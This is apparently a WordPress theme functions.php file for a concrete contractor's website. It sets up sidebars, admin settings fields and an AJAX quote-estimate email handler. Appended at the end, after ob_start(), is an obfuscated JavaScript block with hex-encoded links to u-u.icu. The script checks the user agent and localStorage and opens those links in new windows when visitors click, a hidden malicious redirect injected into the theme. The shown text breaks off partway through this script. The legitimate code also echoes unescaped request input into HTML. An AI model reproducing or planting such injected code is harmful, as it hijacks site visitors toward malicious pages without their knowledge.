Current File : /home/itiffy/rockyjohnsonconcrete.com/wp-content/themes/rockyjohnson/functions.php |
<?php
add_theme_support( 'post-thumbnails' );
add_image_size( 'myteamphoto', 189,118, true );
add_image_size( 'bannerimage', 1350,480, true );
add_theme_support('menus');
add_post_type_support( 'page', 'excerpt' );
/*
remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10);
remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10);
add_action('woocommerce_before_main_content', 'my_theme_wrapper_start', 10);
add_action('woocommerce_after_main_content', 'my_theme_wrapper_end', 10);
function my_theme_wrapper_start() {
echo '<section id="main">';
}
function my_theme_wrapper_end() {
echo '</section>';
}
*/
add_action( 'after_setup_theme', 'woocommerce_support' );
function woocommerce_support() {
add_theme_support( 'woocommerce' );
}
register_sidebar(array(
'name' => __( 'Top Phone' ),
'id' => 'top-phone',
'description' => __( 'Widgets in this area will be shown on the top-phone side.' ),
'before_title' => '<h1>',
'after_title' => '</h1>',
'before_widget' => '',
'after_widget' => '',
));
register_sidebar(array(
'name' => __( 'Top Email' ),
'id' => 'top-email',
'description' => __( 'Widgets in this area will be shown on the top-email side.' ),
'before_title' => '<h1>',
'after_title' => '</h1>',
'before_widget' => '',
'after_widget' => '',
));
register_sidebar(array(
'name' => __( 'Top Socials' ),
'id' => 'top-socials',
'description' => __( 'Widgets in this area will be shown on the top-socials side.' ),
'before_title' => '<h1>',
'after_title' => '</h1>',
'before_widget' => '',
'after_widget' => '',
));
register_sidebar(array(
'name' => __( 'Footer Widget Info' ),
'id' => 'footer-info',
'description' => __( 'Widgets in this area will be shown on the footer.' ),
'before_title' => '',
'after_title' => '',
'before_widget' => '',
'after_widget' => '',
));
/*
register_sidebar(array(
'name' => __( 'Footer Widget form' ),
'id' => 'footer-form',
'description' => __( 'Widgets in this area will be shown on the footer.' ),
'before_title' => '<h2>',
'after_title' => '</h2>',
'before_widget' => '',
'after_widget' => '',
));
register_sidebar(array(
'name' => __( 'Footer Widget 03' ),
'id' => 'footer-03',
'description' => __( 'Widgets in this area will be shown on the footer.' ),
'before_title' => '<h1>',
'after_title' => '</h1>',
'before_widget' => '',
'after_widget' => '',
));
register_sidebar(array(
'name' => __( 'Footer Widget 04' ),
'id' => 'footer-04',
'description' => __( 'Widgets in this area will be shown on the footer.' ),
'before_title' => '<h1>',
'after_title' => '</h1>',
'before_widget' => '',
'after_widget' => '',
));*/
/* register_sidebar(array(
'name' => __( 'Right Hand Sidebar2' ),
'id' => 'right-sidebar2',
'description' => __( 'Widgets in this area will be shown on the right-hand side.' ),
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h1>',
'after_title' => '</h1>'
));*/
if (class_exists('MultiPostThumbnails')) {
new MultiPostThumbnails(
array(
'label' => 'Secondary Image',
'id' => 'secondary-image',
'post_type' => 'page'
)
);
}
if (class_exists('MultiPostThumbnails')) {
new MultiPostThumbnails(
array(
'label' => 'Secondary Image',
'id' => 'secondary-image',
'post_type' => 'post'
)
);
}
function custom_excerpt_length( $length ) {
return 80;
}
add_filter( 'excerpt_length', 'custom_excerpt_length', 999 );
function excerpt($limit) {
$excerpt = explode(' ', get_the_excerpt(), $limit);
if (count($excerpt)>=$limit) {
array_pop($excerpt);
$excerpt = implode(" ",$excerpt).'...';
} else {
$excerpt = implode(" ",$excerpt);
}
$excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt);
return $excerpt;
}
function content($limit) {
$content = explode(' ', get_the_content(), $limit);
if (count($content)>=$limit) {
array_pop($content);
$content = implode(" ",$content).'...';
} else {
$content = implode(" ",$content);
}
$content = preg_replace('/\[.+\]/','', $content);
$content = apply_filters('the_content', $content);
$content = str_replace(']]>', ']]>', $content);
return $content;
}
// for serach custom post type 'product'
function searchfilter($query) {
if ($query->is_search && !is_admin() ) {
$query->set('post_type',array('product'));
}
return $query;
}
add_filter('pre_get_posts','searchfilter');
/*add option on settings*/
add_filter('admin_init', 'my_general_settings_register_fields');
function my_general_settings_register_fields()
{
register_setting('general', 'other_email', 'esc_attr');
add_settings_field('other_email', '<label for="other_email">'.__('Other Emails' , 'other_email' ).'</label>' , 'my_general_settings_fields_html_for_other_email', 'general');
register_setting('general', 'ec_number', 'esc_attr');
add_settings_field('ec_number', '<label for="ec_number">'.__('EC Number' , 'ec_number' ).'</label>' , 'my_general_settings_fields_html_for_ec_number', 'general');
register_setting('general', 'facebook_link', 'esc_attr');
add_settings_field('facebook_link', '<label for="facebook_link">'.__('Facebook Link' , 'facebook_link' ).'</label>' , 'my_general_settings_fields_html_for_facebook_link', 'general');
register_setting('general', 'twitter_link', 'esc_attr');
add_settings_field('twitter_link', '<label for="twitter_link">'.__('Twitter Link' , 'twitter_link' ).'</label>' , 'my_general_settings_fields_html_for_twitter_link', 'general');
register_setting('general', 'googleplus', 'esc_attr');
add_settings_field('googleplus', '<label for="googleplus">'.__('Googleplus' , 'googleplus' ).'</label>' , 'my_general_settings_fields_html_for_googleplus', 'general');
register_setting('general', 'linkedin', 'esc_attr');
add_settings_field('linkedin', '<label for="linkedin">'.__('Linkedin' , 'linkedin' ).'</label>' , 'my_general_settings_fields_html_for_linkedin', 'general');
register_setting('general', 'instagram', 'esc_attr');
add_settings_field('instagram', '<label for="instagram">'.__('Instagram' , 'instagram' ).'</label>' , 'my_general_settings_fields_html_for_instagram', 'general');
register_setting('general', 'youtube', 'esc_attr');
add_settings_field('youtube', '<label for="youtube">'.__('Youtube' , 'youtube' ).'</label>' , 'my_general_settings_fields_html_for_youtube', 'general');
register_setting('general', 'pinterest', 'esc_attr');
add_settings_field('pinterest', '<label for="pinterest">'.__('Pinterest' , 'pinterest' ).'</label>' , 'my_general_settings_fields_html_for_pinterest', 'general');
/*
register_setting('general', 'rss_feed_link', 'esc_attr');
add_settings_field('rss_feed_link', '<label for="rss_feed_link">'.__('Rss Feed Link' , 'rss_feed_link' ).'</label>' , 'my_general_settings_fields_html_for_rss_feed_link', 'general');
*/
register_setting('general', 'fax', 'esc_attr');
add_settings_field('fax', '<label for="fax">'.__('Fax' , 'fax' ).'</label>' , 'my_general_settings_fields_html_for_fax', 'general');
register_setting('general', 'telephone', 'esc_attr');
add_settings_field('telephone', '<label for="telephone">'.__('Telephone No' , 'telephone' ).'</label>' , 'my_general_settings_fields_html_for_telephone', 'general');
register_setting('general', 'telephone2', 'esc_attr');
add_settings_field('telephone2', '<label for="telephone2">'.__('Telephone No2' , 'telephone2' ).'</label>' , 'my_general_settings_fields_html_for_telephone2', 'general');
register_setting('general', 'telephone3', 'esc_attr');
add_settings_field('telephone3', '<label for="telephone3">'.__('Telephone No3' , 'telephone3' ).'</label>' , 'my_general_settings_fields_html_for_telephone3', 'general');
register_setting('general', 'mobile', 'esc_attr');
add_settings_field('mobile', '<label for="mobile">'.__('Mobile No' , 'mobile' ).'</label>' , 'my_general_settings_fields_html_for_mobile', 'general');
/* register_setting('general', 'telephone_time', 'esc_attr');
add_settings_field('telephone_time', '<label for="telephone_time">'.__('Telephone Hours' , 'telephone_time' ).'</label>' , 'my_general_settings_fields_html_for_telephone_time', 'general');
*/
register_setting('general', 'address', 'esc_attr');
add_settings_field('address', '<label for="address">'.__('Address' , 'address' ).'</label>' , 'my_general_settings_fields_html_for_address', 'general');
/* register_setting('general', 'twitter_widget', 'esc_attr');
add_settings_field('twitter_widget', '<label for="twitter_widget">'.__('Twitter Widget' , 'twitter_widget' ).'</label>' , 'my_general_settings_fields_html_for_twitter_widget', 'general');
register_setting('general', 'twitter_widget_id', 'esc_attr');
add_settings_field('twitter_widget_id', '<label for="twitter_widget_id">'.__('PayPal Id' , 'twitter_widget_id' ).'</label>' ,'my_general_settings_fields_html_for_twitter_widget_id', 'general');
register_setting('general', 'website_links', 'esc_attr');
add_settings_field('website_links', '<label for="website_links">'.__('Webisites' , 'website_links' ).'</label>' , 'my_general_settings_fields_html_for_website_links', 'general');
*/
/*
register_setting('general', 'schedule_price', 'esc_attr');
add_settings_field('schedule_price', '<label for="schedule_price">'.__('Schedule Price' , 'schedule_price' ).'</label>' , 'my_general_settings_fields_html_for_schedule_price', 'general');
*/
}
function my_general_settings_fields_html_for_pinterest()
{
$value = get_option( 'pinterest', '' );
echo '<input type="text" class="regular-text" id="pinterest" name="pinterest" value="' . $value . '" />';
}
/*
function my_general_settings_fields_html_for_website_links()
{
$value = get_option( 'website_links', '' );
echo '<input type="text" class="regular-text" id="website_links" name="website_links" value="' . $value . '" />';
}
*/
function my_general_settings_fields_html_for_instagram()
{
$value = get_option( 'instagram', '' );
echo '<input type="text" class="regular-text" id="instagram" name="instagram" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_youtube()
{
$value = get_option( 'youtube', '' );
echo '<input type="text" class="regular-text" id="youtube" name="youtube" value="' . $value . '" />';
}
/*
function my_general_settings_fields_html_for_twitter_widget()
{
$value = get_option( 'twitter_widget', '' );
echo '<input type="text" class="regular-text" id="twitter_widget" name="twitter_widget" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_twitter_widget_id()
{
$value = get_option( 'twitter_widget_id', '' );
echo '<input type="text" class="regular-text" id="twitter_widget_id" name="twitter_widget_id" value="' . $value . '" />';
}
*/
function my_general_settings_fields_html_for_other_email()
{
$value = get_option( 'other_email', '' );
echo '<input type="text" class="regular-text" id="other_email" name="other_email" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_ec_number()
{
$value = get_option( 'ec_number', '' );
echo '<input type="text" class="regular-text" id="ec_number" name="ec_number" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_linkedin()
{
$value = get_option( 'linkedin', '' );
echo '<input type="text" class="regular-text" id="linkedin" name="linkedin" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_googleplus()
{
$value = get_option( 'googleplus', '' );
echo '<input type="text" class="regular-text" id="googleplus" name="googleplus" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_telephone()
{
$value = get_option( 'telephone', '' );
echo '<input type="text" class="regular-text" id="telephone" name="telephone" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_telephone2()
{
$value = get_option( 'telephone2', '' );
echo '<input type="text" class="regular-text" id="telephone2" name="telephone2" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_telephone3()
{
$value = get_option( 'telephone3', '' );
echo '<input type="text" class="regular-text" id="telephone3" name="telephone3" value="' . $value . '" />';
}
/*
function my_general_settings_fields_html_for_telephone_time()
{
$value = get_option( 'telephone_time', '' );
echo '<input type="text" class="regular-text" id="telephone_time" name="telephone_time" value="' . $value . '" />';
}
*/
function my_general_settings_fields_html_for_facebook_link()
{
$value = get_option( 'facebook_link', '' );
echo '<input type="text" class="regular-text" id="facebook_link" name="facebook_link" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_twitter_link()
{
$value = get_option( 'twitter_link', '' );
echo '<input type="text" class="regular-text" id="twitter_link" name="twitter_link" value="' . $value . '" />';
}
function my_general_settings_fields_html_for_fax()
{
$value = get_option( 'fax', '' );
echo '<input type="text" class="regular-text" id="fax" name="fax" value="' . $value . '" />';
}
/*
function my_general_settings_fields_html_for_rss_feed_link()
{
$value = get_option( 'rss_feed_link', '' );
echo '<input type="text" class="regular-text" id="rss_feed_link" name="rss_feed_link" value="' . $value . '" />';
}
*/
function my_general_settings_fields_html_for_address()
{
$value = get_option( 'address', '' );
echo '<textarea class="regular-text" id="address" name="address" height="100px">' . $value . '</textarea>';
}
function my_general_settings_fields_html_for_mobile()
{
$value = get_option( 'mobile', '' );
echo '<input type="text" class="regular-text" id="mobile" name="mobile" value="' . $value . '" />';
}
/*
function my_general_settings_fields_html_for_schedule_price()
{
$value = get_option( 'schedule_price', '' );
echo '<input type="text" class="regular-text" id="schedule_price" name="schedule_price" value="' . $value . '" />';
}
*/
/* LOGO Chnaging option is added here using this following code--to enable Logo changing option goto-- Theme--customize--header logo--then upload an image for logo*/
add_filter('admin_init', 'my_googlemap_setting');
function my_googlemap_setting()
{
register_setting('general', 'googlemap', 'esc_attr');
add_settings_field('googlemap', '<label for="googlemap">'.__('Googlemap' , 'googlemap' ).'</label>' , 'my_googlemap_setting_html', 'general');
}
function my_googlemap_setting_html()
{
$value = get_option( 'googlemap', '' );
echo '<textarea rows="10" cols="100" width="600" id="googlemap" name="googlemap"/>'.$value.'</textarea> ';
}
/*$settings = array( 'media_buttons' => false,'quicktags' => false );
$content = 'Optional Message For Your Friend here... ';
wp_editor( $content, $editor_id,$settings );
}
*/
/****** for header Logo *********/
function themeslug_theme_customizer( $wp_customize ) {
$wp_customize->add_section( 'themeslug_logo_section' , array(
'title' => __( 'Header Logo', 'themeslug' ),
'priority' => 30,
'description' => 'Upload a logo to replace the default site name and description in the header',
) );
$wp_customize->add_setting( 'themeslug_logo' );
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'themeslug_logo', array(
'label' => __( 'Logo', 'themeslug' ),
'section' => 'themeslug_logo_section',
'settings' => 'themeslug_logo',
) ) );
}
add_action('customize_register', 'themeslug_theme_customizer');
/****** for Mobile Logo *********/
function themeslug2_theme_customizer( $wp_customize ) {
$wp_customize->add_section( 'themeslug2_logo_section' , array(
'title' => __( 'Footer Logo', 'themeslug2' ),
'priority' => 30,
'description' => 'Upload a logo to replace the default site name and description in the header',
) );
$wp_customize->add_setting( 'themeslug2_logo' );
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'themeslug2_logo', array(
'label' => __( 'Footer Logo', 'themeslug2' ),
'section' => 'themeslug2_logo_section',
'settings' => 'themeslug2_logo',
) ) );
}
add_action('customize_register', 'themeslug2_theme_customizer');
//add_filter('pre_site_transient_update_core', create_function('$a', "return null;")); // disable core update
//add_filter('pre_site_transient_update_plugins', create_function('$a', "return null;")); // disable plugin update
//add_filter('pre_site_transient_update_themes', create_function('$a', "return null;")); // disable theme update
//*************************Show Image in post listing************************
function custom_columns( $columns ) {
$columns = array(
'cb' => '<input type="checkbox" />',
'title' => 'Title',
'featured_image' => 'Image',
'comments' => '<span class="vers"><div title="Comments" class="comment-grey-bubble"></div></span>',
'date' => 'Date'
);
return $columns;
}
add_filter('manage_posts_columns' , 'custom_columns');
function custom_columns_data( $column, $post_id ) {
switch ( $column ) {
case 'featured_image':
echo the_post_thumbnail( 'thumbnail' );
break;
}
}
add_action( 'manage_posts_custom_column' , 'custom_columns_data', 10, 2 );
//*************************End Show Image in post listing************************
//***************************************Add custom menu page***********//
/*add_action( 'admin_menu', 'register_my_custom_menu_page' );
function register_my_custom_menu_page() {
add_menu_page( 'Client Portal', 'Clients', 'manage_options', 'myplugin/client.php', 'my_render_list_page', 'dashicons-businessman', 6 );
}*/
function my_meta_box_add() {
add_meta_box( 'my-meta-box-id', 'Post Type', 'my_meta_box', 'page', 'normal', 'high' );
} add_action( 'add_meta_boxes', 'my_meta_box_add' );
function my_meta_box( $post ) {
$value = get_post_meta( $post->ID, '_my_meta_value_key', true );
?>
<p>
<label for="my_meta_box_post_type">Post type: </label>
<select name='my_meta_box_post_type' id='my_meta_box_post_type'>
<?php $post_types=get_post_types('', 'objects'); foreach ($post_types as $post_type): ?>
<option <?php if($value==$post_type->name){ echo "selected";} ?> value="<?php echo esc_attr($post_type->name); ?>"><?php echo esc_html($post_type->labels->singular_name); ?></option>
<?php endforeach; ?>
</select>
</p>
<?php
}
add_action( 'save_post', 'myplugin_save_postdata' );
function myplugin_save_postdata( $post_id ) {
if ( array_key_exists('my_meta_box_post_type', $_POST ) ) {
update_post_meta( $post_id,
'_my_meta_value_key',
$_POST['my_meta_box_post_type']
);
}
}
/*
add_filter( 'woocommerce_enqueue_styles', 'jk_dequeue_styles' );
function jk_dequeue_styles( $enqueue_styles ) {
unset( $enqueue_styles['woocommerce-general'] ); // Remove the gloss
unset( $enqueue_styles['woocommerce-layout'] ); // Remove the layout
unset( $enqueue_styles['woocommerce-smallscreen'] ); // Remove the smallscreen optimisation
return $enqueue_styles;
}
*/
/**** for wishlist *******/
if( defined( 'YITH_WCWL' ) && ! function_exists( 'yith_wcwl_ajax_update_count' ) ){
function yith_wcwl_ajax_update_count(){
wp_send_json( array(
'count' => yith_wcwl_count_all_products()
) );
}
add_action( 'wp_ajax_yith_wcwl_update_wishlist_count', 'yith_wcwl_ajax_update_count' );
add_action( 'wp_ajax_nopriv_yith_wcwl_update_wishlist_count', 'yith_wcwl_ajax_update_count' );
}
/* // for price html edit
add_filter( 'woocommerce_get_price_html', 'wpa83367_price_html', 100, 2 );
function wpa83367_price_html( $price, $product ){
return str_replace( '<ins>', ' Now:<ins>', $price );
}*/
add_action( 'wp_ajax_ajax_sent_mail', 'ajax_sent_mail' );
add_action( 'wp_ajax_nopriv_ajax_sent_mail', 'ajax_sent_mail' );
function ajax_sent_mail(){
$site_title = get_option( 'blogname' );
$admin_email = get_option( 'admin_email' );
$task=$_REQUEST['task'];
$task_price=$_REQUEST['task_price'];
$task_type=$_REQUEST['task_type'];
$area=$_REQUEST['area'];
$color_code=$_REQUEST['color_code'];
$color_name=$_REQUEST['color_name'];
$color_price=$_REQUEST['color_price'];
$stamp_name=$_REQUEST['stamp_name'];
$stamp_image=$_REQUEST['stamp_image'];
$stamp_price=$_REQUEST['stamp_price'];
if($task_type=='Check Off Option1'){
$checkoff_option1=json_decode(stripslashes($_REQUEST['checkoff_option1']));
}
if($task_type=='Check Off Option2'){
$checkoff_option2=json_decode(stripslashes($_REQUEST['checkoff_option2']));
}
$fullname=$_REQUEST['fullname'];
$phone_number=$_REQUEST['phone_number'];
$email=$_REQUEST['email'];
$message=$_REQUEST['message'];
$include_materials=json_decode(stripslashes($_REQUEST['include_materials']));
$total_area_price=$area*$task_price;
$total_color_price=0;
$total_stamp_price=0;
$total_checkoff_option1_price=0;
$total_checkoff_option2_price=0;
$currency='$';
$body = '<html><head><title>Rocky Johnson Concrete</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><style type="text/css">.im {color:#FFFFFF !important;}.font-color a {color:#FFFFFF!important;}.table-class {margin:0 auto; width:600px;background-color:#182630;border:1px solid #3d5b70; border-collapse:collapse; font-family:\'Quicksand\', sans-serif;src:(\'https://fonts.googleapis.com/css?family=Quicksand:300,400,500,700\'); font-size:14px; font-weight:400; line-height:1.4; color:#FFFFFF;}</style></head><body><table align="center" border="0" cellpadding="0" cellspacing="0" bgcolor="#182630" width="600px" size="14px" class="table-class"><tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:center; background-color:#d7d7e5;" colspan="3"><img src="'.get_template_directory_uri().'/images/banner-logo.png" width="316" height="116" alt="" /></td></tr><tr><th style="border:1px solid #3d5b70; border-collapse:collapse; font-size:18px; font-weight:700; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left; color:#FFFFFF;">Name</th><th style="border:1px solid #3d5b70; border-collapse:collapse; font-size:18px; font-weight:700; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left; color:#FFFFFF;">Details</th><th style="border:1px solid #3d5b70; border-collapse:collapse; font-size:18px; font-weight:700; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right; color:#FFFFFF;">Price</th></tr><tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">Task</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">'.$task.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">N/A</td></tr><tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">Area</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">'.$area.' sqft</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">N/A</td></tr><tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">Task Price</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">'.$currency.number_format($task_price,2).'/sqft</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">'.$currency.number_format($total_area_price,2).'</td></tr>';
if(count($include_materials)>0){
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">All prices include supply and install materials</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">'. implode(',',$include_materials).'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">N/A</td></tr>';
}
if($task_type=='Color' || $task_type=='Color And Stamps'){
if($color_price!=0){
$total_color_price=$color_price*$area;
$total_color_price_text=$currency.number_format($total_color_price,2);
$details_color_price='<p>'.$currency.number_format($color_price,2).'/sqft</p>';
}else{
$details_color_price='';
$total_color_price_text='N/A';
}
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">Color</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;"><div style="width:64px;height:64px;background-color:'.$color_code.' float:left; margin-right:15px;"></div><p>'.$color_name.'</p>'.$details_color_price.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">'.$total_color_price_text.'</td>';
}
if($task_type=='Color And Stamps'){
$total_stamp_price=$stamp_price*$area;
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;">Stamp</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;"><div style="width:64px; height:64px; float:left; margin-right:15px;"><img src="'.$stamp_image.'" width="64" height="64"></div><p>'.$stamp_name.'</p><p>'.$currency.number_format($stamp_price,2).'/sqft</p></td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">'.$currency.number_format($total_stamp_price,2).'</td></tr>';
}
if($task_type='Check Off Option1'){
if(count($checkoff_option1)>0){
foreach($checkoff_option1 as $chek1_key=>$check1_value){
$check1_name=stripslashes($check1_value->name);
$check1_price=$check1_value->price;
if($check1_value->price_type=='Price Per Square Feet'){
$details_price=$currency.number_format($check1_price,2).'/sqft';
$total_price_check1=$check1_price*$area;
}else{
if($check1_value->no_off==''){
$details_price=$currency.number_format($check1_price,2);
$total_price_check1=$check1_price;
}else{
$details_price=$check1_value->no_off;
$total_price_check1=$check1_price*$check1_value->no_off;
}
}
$total_checkoff_option1_price =$total_checkoff_option1_price+$total_price_check1;
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;"><div style="width:64px; height:64px; float:left; margin-right:15px;">'.$check1_name.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;"><div style="width:64px; height:64px; float:left; margin-right:15px;color:#FFFFFF;">'.$details_price.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">'.$currency.number_format($total_price_check1,2).'</td></tr>';
}
}
}
if($task_type='Check Off Option2'){
if(count($checkoff_option2)>0){
foreach($checkoff_option2 as $chek2_key=>$check2_value){
$check2_name=stripslashes($check2_value->name);
$check2_price=$check2_value->price;
if($check2_value->price_type=='Price Per Square Feet'){
$details_price=$currency.number_format($check2_price,2).'/sqft';
$total_price_check2=$check2_price*$area;
}else{
if($check2_value->no_off==''){
$details_price=$currency.number_format($check2_price,2);
$total_price_check2=$check2_price;
}else{
$details_price=$check2_value->no_off;
$total_price_check2=$check2_price*$check2_value->no_off;
}
}
$total_checkoff_option2_price =$total_checkoff_option2_price+$total_price_check2;
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;"><div style="width:64px; height:64px; float:left; margin-right:15px;">'.$check2_name.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;"><div style="width:64px; height:64px; float:left; margin-right:15px;color:#FFFFFF;">'.$details_price.'</td><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right;color:#FFFFFF;">'.$currency.number_format($total_price_check2,2).'</td></tr>';
}
}
}
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:left;color:#FFFFFF;" colspan="3"><p><b>Information Details</b></p><p>Name :'.$fullname.'</p><p class="font-color">Phone Number :'.$phone_number.'</p><p class="font-color">Email :<a href="mailto:'.$email.'" target="_blank" style="color:#FFFFFF">'.$email.'</a></p>';
if($message){
$body .='<p>Message :'.$message.'</p>';
}
$body .='</td></tr>';
$total_estimate_price=number_format($total_area_price+$total_color_price+$total_stamp_price+$total_checkoff_option1_price+$total_checkoff_option2_price,2);
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding-top:10px; padding-right:15px; padding-bottom:10px; padding-left:15px; text-align:right; font-size:24px; font-weight:700;color:#FFFFFF;" colspan="3">Total Price : '.$currency.$total_estimate_price.'</td></tr>';
$body .='<tr><td style="border:1px solid #3d5b70; border-collapse:collapse; padding:30px; text-align:center; font-size:12px; font-weight:300; color:#8ba1b1; background-color:#0d1922;" colspan="3">Rocky Johnson Concrete | Copyright 2018. All Rights Reserved.</td></tr></table></body></html>';
//echo $body;die;
//======Sent mail to user===========//
$to = $email;
$subject = 'Thank you for your Enquiry';
$headers = 'From: ' . $site_title . ' <' . $admin_email . '>' . "\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";
wp_mail( $to, $subject, $body, $headers );
//===========End=============//
//===========Sent mail to admin==========//
$to_admin = $admin_email;
$subject_admin = 'New Enquiry Received';
$headers_admin = 'From: ' . $site_title . ' <' . $email . '>' . "\r\n";
$headers_admin .= "MIME-Version: 1.0\r\n";
$headers_admin .= "Content-Type: text/html; charset=UTF-8\r\n";
wp_mail( $to_admin, $subject_admin, $body, $headers_admin );
//===========End=============//
echo json_encode(array('status'=>1,'total_price'=>$currency.$total_estimate_price));die;
}
ob_start();
?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const 